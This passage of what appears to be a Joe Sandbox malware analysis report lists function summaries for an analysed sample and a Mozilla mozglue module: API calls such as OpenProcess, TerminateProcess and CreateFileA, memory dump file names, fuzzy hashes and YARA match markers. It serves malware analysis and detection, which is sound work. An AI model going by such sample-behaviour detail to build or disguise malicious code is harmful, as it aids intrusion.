memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 01003560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: a031d8ecad07cf6465948fc60e489c02f86569278c945ca0a47439da736348a1
Instruction ID: 336b12821b0bd209746b04803116e923e2083fcc473cfdc50ff871faed461dd5
Opcode Fuzzy Hash: a031d8ecad07cf6465948fc60e489c02f86569278c945ca0a47439da736348a1
Instruction Fuzzy Hash: E8414F71E10209DFEB06EFA5DC45AFEB7B4BB58304F008018E5966B284DB759645CFA1

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 010094D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 010094EB

Part of subcall function 01008D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0100951E,00000000), ref: 01008D5B
Part of subcall function 01008D50: RtlAllocateHeap.NTDLL(00000000), ref: 01008D62
Part of subcall function 01008D50: wsprintfW.USER32 ref: 01008D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 010095AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 010095C9
CloseHandle.KERNEL32(00000000), ref: 010095D6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: bf8e533d3521380cadb506dda769d2d96cc47e88b5634c6280947b3929722ae1
Instruction ID: 0f8d2e2ca007b8e3ed626e07ea94bbb8c22f45039e8484e621ca40548ec67975
Opcode Fuzzy Hash: bf8e533d3521380cadb506dda769d2d96cc47e88b5634c6280947b3929722ae1
Instruction Fuzzy Hash: 18315C71E00308EFEB15DBD0DC49BEDB7B8EB44305F104459E54AAB1C8DB75AA89CB51

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 01007980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01010E00,00000000,?), ref: 010079B0
RtlAllocateHeap.NTDLL(00000000), ref: 010079B7
GetLocalTime.KERNEL32(?,?,?,?,?,01010E00,00000000,?), ref: 010079C4
wsprintfA.USER32 ref: 010079F3

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 524a9fa0dad4b3d5dbbed9a8fd06e651f1b552d8d05754b3d34c2bb556739394
Instruction ID: 33cbd85b187c4efc99cbe320d2d257c099df3f2d28bbefd6f50551f863ecc254
Opcode Fuzzy Hash: 524a9fa0dad4b3d5dbbed9a8fd06e651f1b552d8d05754b3d34c2bb556739394
Instruction Fuzzy Hash: 6B113CB2904518ABCB14DFC9E949BBEB7F8FB4CB11F00421AF645A2284D3395940CBB0

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 010092E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(01003AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,01003AEE,?), ref: 010092FC
GetFileSizeEx.KERNEL32(000000FF,01003AEE), ref: 01009319
CloseHandle.KERNEL32(000000FF), ref: 01009327

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 5479ff530256312b4ac89c3ae22a9eca054d6414c64a44944d72bbacbca4305c
Instruction ID: b90f0138003739fec08c8520f451bae443db6a391afb8bd3d02de9c21a36cd57
Opcode Fuzzy Hash: 5479ff530256312b4ac89c3ae22a9eca054d6414c64a44944d72bbacbca4305c
Instruction Fuzzy Hash: 21F04F35E44208BBEB25DFB4EC49F9E77F9AB48710F10C2A4B695E72C5D670A6018F40

Function 0100C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0100C74E

Part of subcall function 0100BF9F: __amsg_exit.LIBCMT ref: 0100BFAF

__getptd.LIBCMT ref: 0100C765
__amsg_exit.LIBCMT ref: 0100C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0100C797

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 3ce3f87c301dc425c74bf3b12a79af17f8d607d5fb9b9e7521a3eda173e40b14
Instruction ID: 5e2bb24b8c7d66e4c22470198afd4da08209deb31558cabbb2824b8dcd0a3282
Opcode Fuzzy Hash: 3ce3f87c301dc425c74bf3b12a79af17f8d607d5fb9b9e7521a3eda173e40b14
Instruction Fuzzy Hash: 0CF09A32A44702DBF773BBB89909BAD37E07F20721F20428DE5D8AB1C1CF6859418B56

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

